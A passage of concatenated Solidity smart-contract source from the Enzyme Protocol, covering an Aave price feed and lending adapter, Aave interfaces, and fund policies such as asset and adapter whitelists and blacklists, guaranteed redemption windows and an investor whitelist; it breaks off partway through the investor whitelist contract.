(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../interfaces/IAaveProtocolDataProvider.sol";
import "./utils/PeggedDerivativesPriceFeedBase.sol";
/// @title AavePriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price source oracle for Aave
contract AavePriceFeed is PeggedDerivativesPriceFeedBase {
address private immutable PROTOCOL_DATA_PROVIDER;
constructor(address _dispatcher, address _protocolDataProvider)
public
PeggedDerivativesPriceFeedBase(_dispatcher)
{
PROTOCOL_DATA_PROVIDER = _protocolDataProvider;
}
function __validateDerivative(address _derivative, address _underlying) internal override {
super.__validateDerivative(_derivative, _underlying);
(address aTokenAddress, , ) = IAaveProtocolDataProvider(PROTOCOL_DATA_PROVIDER)
.getReserveTokensAddresses(_underlying);
require(
aTokenAddress == _derivative,
"__validateDerivative: Invalid aToken or token provided"
);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `PROTOCOL_DATA_PROVIDER` variable value
/// @return protocolDataProvider_ The `PROTOCOL_DATA_PROVIDER` variable value
function getProtocolDataProvider() external view returns (address protocolDataProvider_) {
return PROTOCOL_DATA_PROVIDER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IAaveProtocolDataProvider interface
/// @author Enzyme Council <[email protected]>
interface IAaveProtocolDataProvider {
function getReserveTokensAddresses(address)
external
view
returns (
address,
address,
address
);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../infrastructure/price-feeds/derivatives/feeds/AavePriceFeed.sol";
import "../../../../interfaces/IAaveLendingPool.sol";
import "../../../../interfaces/IAaveLendingPoolAddressProvider.sol";
import "../utils/AdapterBase.sol";
/// @title AaveAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for Aave Lending <https://aave.com/>
contract AaveAdapter is AdapterBase {
address private immutable AAVE_PRICE_FEED;
address private immutable LENDING_POOL_ADDRESS_PROVIDER;
uint16 private constant REFERRAL_CODE = 158;
constructor(
address _integrationManager,
address _lendingPoolAddressProvider,
address _aavePriceFeed
) public AdapterBase(_integrationManager) {
LENDING_POOL_ADDRESS_PROVIDER = _lendingPoolAddressProvider;
AAVE_PRICE_FEED = _aavePriceFeed;
}
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ An identifier string
function identifier() external pure override returns (string memory identifier_) {
return "AAVE";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
if (_selector == LEND_SELECTOR) {
(address aToken, uint256 amount) = __decodeCallArgs(_encodedCallArgs);
// Prevent from invalid token/aToken combination
address token = AavePriceFeed(AAVE_PRICE_FEED).getUnderlyingForDerivative(aToken);
require(token != address(0), "parseAssetsForMethod: Unsupported aToken");
spendAssets_ = new address[](1);
spendAssets_[0] = token;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = amount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = aToken;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = amount;
} else if (_selector == REDEEM_SELECTOR) {
(address aToken, uint256 amount) = __decodeCallArgs(_encodedCallArgs);
// Prevent from invalid token/aToken combination
address token = AavePriceFeed(AAVE_PRICE_FEED).getUnderlyingForDerivative(aToken);
require(token != address(0), "parseAssetsForMethod: Unsupported aToken");
spendAssets_ = new address[](1);
spendAssets_[0] = aToken;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = amount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = token;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = amount;
} else {
revert("parseAssetsForMethod: _selector invalid");
}
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Lends an amount of a token to AAVE
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function lend(
address _vaultProxy,
bytes calldata,
bytes calldata _encodedAssetTransferArgs
) external onlyIntegrationManager {
(
,
address[] memory spendAssets,
uint256[] memory spendAssetAmounts,
) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);
address lendingPoolAddress = IAaveLendingPoolAddressProvider(LENDING_POOL_ADDRESS_PROVIDER)
.getLendingPool();
__approveMaxAsNeeded(spendAssets[0], lendingPoolAddress, spendAssetAmounts[0]);
IAaveLendingPool(lendingPoolAddress).deposit(
spendAssets[0],
spendAssetAmounts[0],
_vaultProxy,
REFERRAL_CODE
);
}
/// @notice Redeems an amount of aTokens from AAVE
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive
function redeem(
address _vaultProxy,
bytes calldata,
bytes calldata _encodedAssetTransferArgs
) external onlyIntegrationManager {
(
,
address[] memory spendAssets,
uint256[] memory spendAssetAmounts,
address[] memory incomingAssets
) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);
address lendingPoolAddress = IAaveLendingPoolAddressProvider(LENDING_POOL_ADDRESS_PROVIDER)
.getLendingPool();
__approveMaxAsNeeded(spendAssets[0], lendingPoolAddress, spendAssetAmounts[0]);
IAaveLendingPool(lendingPoolAddress).withdraw(
incomingAssets[0],
spendAssetAmounts[0],
_vaultProxy
);
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode callArgs for lend and redeem
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (address aToken, uint256 amount)
{
return abi.decode(_encodedCallArgs, (address, uint256));
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `AAVE_PRICE_FEED` variable
/// @return aavePriceFeed_ The `AAVE_PRICE_FEED` variable value
function getAavePriceFeed() external view returns (address aavePriceFeed_) {
return AAVE_PRICE_FEED;
}
/// @notice Gets the `LENDING_POOL_ADDRESS_PROVIDER` variable
/// @return lendingPoolAddressProvider_ The `LENDING_POOL_ADDRESS_PROVIDER` variable value
function getLendingPoolAddressProvider()
external
view
returns (address lendingPoolAddressProvider_)
{
return LENDING_POOL_ADDRESS_PROVIDER;
}
/// @notice Gets the `REFERRAL_CODE` variable
/// @return referralCode_ The `REFERRAL_CODE` variable value
function getReferralCode() external pure returns (uint16 referralCode_) {
return REFERRAL_CODE;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IAaveLendingPool interface
/// @author Enzyme Council <[email protected]>
interface IAaveLendingPool {
function deposit(
address,
uint256,
address,
uint16
) external;
function withdraw(
address,
uint256,
address
) external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IAaveLendingPoolAddressProvider interface
/// @author Enzyme Council <[email protected]>
interface IAaveLendingPoolAddressProvider {
function getLendingPool() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../core/fund/comptroller/ComptrollerLib.sol";
import "../../../../core/fund/vault/VaultLib.sol";
import "../../../../utils/AddressArrayLib.sol";
import "../utils/AddressListPolicyMixin.sol";
import "./utils/PostCallOnIntegrationValidatePolicyBase.sol";
/// @title AssetWhitelist Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that only allows a configurable whitelist of assets in a fund's holdings
contract AssetWhitelist is PostCallOnIntegrationValidatePolicyBase, AddressListPolicyMixin {
using AddressArrayLib for address[];
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Validates and initializes a policy as necessary prior to fund activation
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _vaultProxy The fund's VaultProxy address
function activateForFund(address _comptrollerProxy, address _vaultProxy)
external
override
onlyPolicyManager
{
require(
passesRule(_comptrollerProxy, VaultLib(_vaultProxy).getTrackedAssets()),
"activateForFund: Non-whitelisted asset detected"
);
}
/// @notice Add the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
address[] memory assets = abi.decode(_encodedSettings, (address[]));
require(
assets.contains(ComptrollerLib(_comptrollerProxy).getDenominationAsset()),
"addFundSettings: Must whitelist denominationAsset"
);
__addToList(_comptrollerProxy, abi.decode(_encodedSettings, (address[])));
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "ASSET_WHITELIST";
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _assets The assets with which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address[] memory _assets)
public
view
returns (bool isValid_)
{
for (uint256 i; i < _assets.length; i++) {
if (!isInList(_comptrollerProxy, _assets[i])) {
return false;
}
}
return true;
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(, , address[] memory incomingAssets, , , ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, incomingAssets);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
/// @title AddressListPolicyMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice An abstract mixin contract for policies that use an address list
abstract contract AddressListPolicyMixin {
using EnumerableSet for EnumerableSet.AddressSet;
event AddressesAdded(address indexed comptrollerProxy, address[] items);
event AddressesRemoved(address indexed comptrollerProxy, address[] items);
mapping(address => EnumerableSet.AddressSet) private comptrollerProxyToList;
// EXTERNAL FUNCTIONS
/// @notice Get all addresses in a fund's list
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @return list_ The addresses in the fund's list
function getList(address _comptrollerProxy) external view returns (address[] memory list_) {
list_ = new address[](comptrollerProxyToList[_comptrollerProxy].length());
for (uint256 i = 0; i < list_.length; i++) {
list_[i] = comptrollerProxyToList[_comptrollerProxy].at(i);
}
return list_;
}
// PUBLIC FUNCTIONS
/// @notice Check if an address is in a fund's list
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _item The address to check against the list
/// @return isInList_ True if the address is in the list
function isInList(address _comptrollerProxy, address _item)
public
view
returns (bool isInList_)
{
return comptrollerProxyToList[_comptrollerProxy].contains(_item);
}
// INTERNAL FUNCTIONS
/// @dev Helper to add addresses to the calling fund's list
function __addToList(address _comptrollerProxy, address[] memory _items) internal {
require(_items.length > 0, "__addToList: No addresses provided");
for (uint256 i = 0; i < _items.length; i++) {
require(
comptrollerProxyToList[_comptrollerProxy].add(_items[i]),
"__addToList: Address already exists in list"
);
}
emit AddressesAdded(_comptrollerProxy, _items);
}
/// @dev Helper to remove addresses from the calling fund's list
function __removeFromList(address _comptrollerProxy, address[] memory _items) internal {
require(_items.length > 0, "__removeFromList: No addresses provided");
for (uint256 i = 0; i < _items.length; i++) {
require(
comptrollerProxyToList[_comptrollerProxy].remove(_items[i]),
"__removeFromList: Address does not exist in list"
);
}
emit AddressesRemoved(_comptrollerProxy, _items);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../core/fund/comptroller/ComptrollerLib.sol";
import "../../../../core/fund/vault/VaultLib.sol";
import "../../../../utils/AddressArrayLib.sol";
import "../utils/AddressListPolicyMixin.sol";
import "./utils/PostCallOnIntegrationValidatePolicyBase.sol";
/// @title AssetBlacklist Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that disallows a configurable blacklist of assets in a fund's holdings
contract AssetBlacklist is PostCallOnIntegrationValidatePolicyBase, AddressListPolicyMixin {
using AddressArrayLib for address[];
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Validates and initializes a policy as necessary prior to fund activation
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _vaultProxy The fund's VaultProxy address
function activateForFund(address _comptrollerProxy, address _vaultProxy)
external
override
onlyPolicyManager
{
require(
passesRule(_comptrollerProxy, VaultLib(_vaultProxy).getTrackedAssets()),
"activateForFund: Blacklisted asset detected"
);
}
/// @notice Add the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
address[] memory assets = abi.decode(_encodedSettings, (address[]));
require(
!assets.contains(ComptrollerLib(_comptrollerProxy).getDenominationAsset()),
"addFundSettings: Cannot blacklist denominationAsset"
);
__addToList(_comptrollerProxy, assets);
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "ASSET_BLACKLIST";
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _assets The assets with which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address[] memory _assets)
public
view
returns (bool isValid_)
{
for (uint256 i; i < _assets.length; i++) {
if (isInList(_comptrollerProxy, _assets[i])) {
return false;
}
}
return true;
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(, , address[] memory incomingAssets, , , ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, incomingAssets);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/AddressListPolicyMixin.sol";
import "./utils/PreCallOnIntegrationValidatePolicyBase.sol";
/// @title AdapterWhitelist Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that only allows a configurable whitelist of adapters for use by a fund
contract AdapterWhitelist is PreCallOnIntegrationValidatePolicyBase, AddressListPolicyMixin {
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Add the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
__addToList(_comptrollerProxy, abi.decode(_encodedSettings, (address[])));
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "ADAPTER_WHITELIST";
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _adapter The adapter with which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address _adapter)
public
view
returns (bool isValid_)
{
return isInList(_comptrollerProxy, _adapter);
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(address adapter, ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, adapter);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/PolicyBase.sol";
/// @title CallOnIntegrationPreValidatePolicyMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract for policies that only implement the PreCallOnIntegration policy hook
abstract contract PreCallOnIntegrationValidatePolicyBase is PolicyBase {
/// @notice Gets the implemented PolicyHooks for a policy
/// @return implementedHooks_ The implemented PolicyHooks
function implementedHooks()
external
view
override
returns (IPolicyManager.PolicyHook[] memory implementedHooks_)
{
implementedHooks_ = new IPolicyManager.PolicyHook[](1);
implementedHooks_[0] = IPolicyManager.PolicyHook.PreCallOnIntegration;
return implementedHooks_;
}
/// @notice Helper to decode rule arguments
function __decodeRuleArgs(bytes memory _encodedRuleArgs)
internal
pure
returns (address adapter_, bytes4 selector_)
{
return abi.decode(_encodedRuleArgs, (address, bytes4));
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../../utils/FundDeployerOwnerMixin.sol";
import "./utils/PreCallOnIntegrationValidatePolicyBase.sol";
/// @title GuaranteedRedemption Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that guarantees that shares will either be continuously redeemable or
/// redeemable within a predictable daily window by preventing trading during a configurable daily period
contract GuaranteedRedemption is PreCallOnIntegrationValidatePolicyBase, FundDeployerOwnerMixin {
using SafeMath for uint256;
event AdapterAdded(address adapter);
event AdapterRemoved(address adapter);
event FundSettingsSet(
address indexed comptrollerProxy,
uint256 startTimestamp,
uint256 duration
);
event RedemptionWindowBufferSet(uint256 prevBuffer, uint256 nextBuffer);
struct RedemptionWindow {
uint256 startTimestamp;
uint256 duration;
}
uint256 private constant ONE_DAY = 24 * 60 * 60;
mapping(address => bool) private adapterToCanBlockRedemption;
mapping(address => RedemptionWindow) private comptrollerProxyToRedemptionWindow;
uint256 private redemptionWindowBuffer;
constructor(
address _policyManager,
address _fundDeployer,
uint256 _redemptionWindowBuffer,
address[] memory _redemptionBlockingAdapters
) public PolicyBase(_policyManager) FundDeployerOwnerMixin(_fundDeployer) {
redemptionWindowBuffer = _redemptionWindowBuffer;
__addRedemptionBlockingAdapters(_redemptionBlockingAdapters);
}
// EXTERNAL FUNCTIONS
/// @notice Add the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
(uint256 startTimestamp, uint256 duration) = abi.decode(
_encodedSettings,
(uint256, uint256)
);
if (startTimestamp == 0) {
require(duration == 0, "addFundSettings: duration must be 0 if startTimestamp is 0");
return;
}
// Use 23 hours instead of 1 day to allow up to 1 hr of redemptionWindowBuffer
require(
duration > 0 && duration <= 23 hours,
"addFundSettings: duration must be between 1 second and 23 hours"
);
comptrollerProxyToRedemptionWindow[_comptrollerProxy].startTimestamp = startTimestamp;
comptrollerProxyToRedemptionWindow[_comptrollerProxy].duration = duration;
emit FundSettingsSet(_comptrollerProxy, startTimestamp, duration);
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "GUARANTEED_REDEMPTION";
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _adapter The adapter for which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address _adapter)
public
view
returns (bool isValid_)
{
if (!adapterCanBlockRedemption(_adapter)) {
return true;
}
RedemptionWindow memory redemptionWindow
= comptrollerProxyToRedemptionWindow[_comptrollerProxy];
// If no RedemptionWindow is set, the fund can never use redemption-blocking adapters
if (redemptionWindow.startTimestamp == 0) {
return false;
}
uint256 latestRedemptionWindowStart = calcLatestRedemptionWindowStart(
redemptionWindow.startTimestamp
);
// A fund can't trade during its redemption window, nor in the buffer beforehand.
// The lower bound is only relevant when the startTimestamp is in the future,
// so we check it last.
if (
block.timestamp >= latestRedemptionWindowStart.add(redemptionWindow.duration) ||
block.timestamp <= latestRedemptionWindowStart.sub(redemptionWindowBuffer)
) {
return true;
}
return false;
}
/// @notice Sets a new value for the redemptionWindowBuffer variable
/// @param _nextRedemptionWindowBuffer The number of seconds for the redemptionWindowBuffer
/// @dev The redemptionWindowBuffer is added to the beginning of the redemption window,
/// and should always be >= the longest potential block on redemption amongst all adapters.
/// (e.g., Synthetix blocks token transfers during a timelock after trading synths)
function setRedemptionWindowBuffer(uint256 _nextRedemptionWindowBuffer)
external
onlyFundDeployerOwner
{
uint256 prevRedemptionWindowBuffer = redemptionWindowBuffer;
require(
_nextRedemptionWindowBuffer != prevRedemptionWindowBuffer,
"setRedemptionWindowBuffer: Value already set"
);
redemptionWindowBuffer = _nextRedemptionWindowBuffer;
emit RedemptionWindowBufferSet(prevRedemptionWindowBuffer, _nextRedemptionWindowBuffer);
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(address adapter, ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, adapter);
}
// PUBLIC FUNCTIONS
/// @notice Calculates the start of the most recent redemption window
/// @param _startTimestamp The initial startTimestamp for the redemption window
/// @return latestRedemptionWindowStart_ The starting timestamp of the most recent redemption window
function calcLatestRedemptionWindowStart(uint256 _startTimestamp)
public
view
returns (uint256 latestRedemptionWindowStart_)
{
if (block.timestamp <= _startTimestamp) {
return _startTimestamp;
}
uint256 timeSinceStartTimestamp = block.timestamp.sub(_startTimestamp);
uint256 timeSincePeriodStart = timeSinceStartTimestamp.mod(ONE_DAY);
return block.timestamp.sub(timeSincePeriodStart);
}
///////////////////////////////////////////
// REDEMPTION-BLOCKING ADAPTERS REGISTRY //
///////////////////////////////////////////
/// @notice Add adapters which can block shares redemption
/// @param _adapters The addresses of adapters to be added
function addRedemptionBlockingAdapters(address[] calldata _adapters)
external
onlyFundDeployerOwner
{
require(
_adapters.length > 0,
"__addRedemptionBlockingAdapters: _adapters cannot be empty"
);
__addRedemptionBlockingAdapters(_adapters);
}
/// @notice Remove adapters which can block shares redemption
/// @param _adapters The addresses of adapters to be removed
function removeRedemptionBlockingAdapters(address[] calldata _adapters)
external
onlyFundDeployerOwner
{
require(
_adapters.length > 0,
"removeRedemptionBlockingAdapters: _adapters cannot be empty"
);
for (uint256 i; i < _adapters.length; i++) {
require(
adapterCanBlockRedemption(_adapters[i]),
"removeRedemptionBlockingAdapters: adapter is not added"
);
adapterToCanBlockRedemption[_adapters[i]] = false;
emit AdapterRemoved(_adapters[i]);
}
}
/// @dev Helper to mark adapters that can block shares redemption
function __addRedemptionBlockingAdapters(address[] memory _adapters) private {
for (uint256 i; i < _adapters.length; i++) {
require(
_adapters[i] != address(0),
"__addRedemptionBlockingAdapters: adapter cannot be empty"
);
require(
!adapterCanBlockRedemption(_adapters[i]),
"__addRedemptionBlockingAdapters: adapter already added"
);
adapterToCanBlockRedemption[_adapters[i]] = true;
emit AdapterAdded(_adapters[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `redemptionWindowBuffer` variable
/// @return redemptionWindowBuffer_ The `redemptionWindowBuffer` variable value
function getRedemptionWindowBuffer() external view returns (uint256 redemptionWindowBuffer_) {
return redemptionWindowBuffer;
}
/// @notice Gets the RedemptionWindow settings for a given fund
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @return redemptionWindow_ The RedemptionWindow settings
function getRedemptionWindowForFund(address _comptrollerProxy)
external
view
returns (RedemptionWindow memory redemptionWindow_)
{
return comptrollerProxyToRedemptionWindow[_comptrollerProxy];
}
/// @notice Checks whether an adapter can block shares redemption
/// @param _adapter The address of the adapter to check
/// @return canBlockRedemption_ True if the adapter can block shares redemption
function adapterCanBlockRedemption(address _adapter)
public
view
returns (bool canBlockRedemption_)
{
return adapterToCanBlockRedemption[_adapter];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/AddressListPolicyMixin.sol";
import "./utils/PreCallOnIntegrationValidatePolicyBase.sol";
/// @title AdapterBlacklist Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that disallows a configurable blacklist of adapters from use by a fund
contract AdapterBlacklist is PreCallOnIntegrationValidatePolicyBase, AddressListPolicyMixin {
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Add the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
__addToList(_comptrollerProxy, abi.decode(_encodedSettings, (address[])));
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "ADAPTER_BLACKLIST";
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _adapter The adapter with which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address _adapter)
public
view
returns (bool isValid_)
{
return !isInList(_comptrollerProxy, _adapter);
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(address adapter, ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, adapter);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../utils/AddressListPolicyMixin.sol";
import "./utils/PreBuySharesValidatePolicyBase.sol";
/// @title InvestorWhitelist Contract
/// @author Enzyme Council <[email protected]>
/// @notice A policy that only allows a configurable whitelist of investors to buy shares in a fund
contract InvestorWhitelist is PreBuySharesValidatePolicyBase, AddressListPolicyMixin {
constructor(address _policyManager) public PolicyBase(_policyManager) {}
/// @notice Adds the initial policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function addFundSettings(address _comptrollerProxy, bytes calldata _encodedSettings)
external
override
onlyPolicyManager
{
__updateList(_comptrollerProxy, _encodedSettings);
}
/// @notice Provides a constant string identifier for a policy
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "INVESTOR_WHITELIST";
}
/// @notice Updates the policy settings for a fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedSettings Encoded settings to apply to a fund
function updateFundSettings(
address _comptrollerProxy,
address,
bytes calldata _encodedSettings
) external override onlyPolicyManager {
__updateList(_comptrollerProxy, _encodedSettings);
}
/// @notice Checks whether a particular condition passes the rule for a particular fund
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _investor The investor for which to check the rule
/// @return isValid_ True if the rule passes
function passesRule(address _comptrollerProxy, address _investor)
public
view
returns (bool isValid_)
{
return isInList(_comptrollerProxy, _investor);
}
/// @notice Apply the rule with the specified parameters of a PolicyHook
/// @param _comptrollerProxy The fund's ComptrollerProxy address
/// @param _encodedArgs Encoded args with which to validate the rule
/// @return isValid_ True if the rule passes
function validateRule(
address _comptrollerProxy,
address,
IPolicyManager.PolicyHook,
bytes calldata _encodedArgs
) external override returns (bool isValid_) {
(address buyer, , , ) = __decodeRuleArgs(_encodedArgs);
return passesRule(_comptrollerProxy, buyer);
}
/// @dev Helper to update the investor whitelist by adding and/or removing addresses
function __updateList(address _comptrollerProxy, bytes memory _settingsData) private {
